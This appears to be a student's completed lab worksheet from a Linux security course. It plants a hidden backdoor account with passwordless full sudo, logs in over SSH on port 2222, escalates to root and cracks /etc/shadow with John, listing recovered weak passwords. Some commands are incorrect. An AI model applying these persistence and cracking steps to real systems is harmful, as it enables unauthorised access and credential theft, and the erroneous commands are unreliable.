Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

sudo useradd -m sysd

2. Give your secret user a password.

sudo passwd sysd

3. Give your secret user a system UID < 1000.

usermod -u 700 sysd

4. Give your secret user the same GID.

groupmod -g 700 sysd

5. Give your secret user full sudo access without the need for a password.

sudo visudo

sysd ALL=(ALL) NOPASSWD:ALL

6. Test that sudo access works without your password.

su sysd sudo -1

Step 2: Smooth Sailing

1. Edit the sshd_config file.

sudo nano /etc/ssh/sshd_config

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

sudo systemctl restart ssh.service

2. Exit the root account.

Ctrl-D

3. SSH to the target machine using your sysd account and port 2222.

ssh sysd@192.168.6.105 -p 2222

4. Use sudo to switch to the root user.

sudo su

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

```
ssh sysd@192.168.6.105 -p 2222
```

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

```
john /etc/shadow
                 (stallman)
computer
                 (babbage)
freedom
                 (mitnik)
trustno1
dragon
                 (lovelace)
                 (sysadmin)
passw0rd
lakers
                 (turing)
passw0rd
                 (sysadmin)
Goodluck!
                 (student)
```

Source: https://linuxhint.com/add-user-linux/

https://www.howtogeek.com/447906/how-to-control-sudo-access-on-linux/amp/

https://learnubuntu.com/run-sudo-without-password/

https://www.golinuxcloud.com/linux-check-sudo-access/

https://www.baeldung.com/linux/sudo-privileges-user

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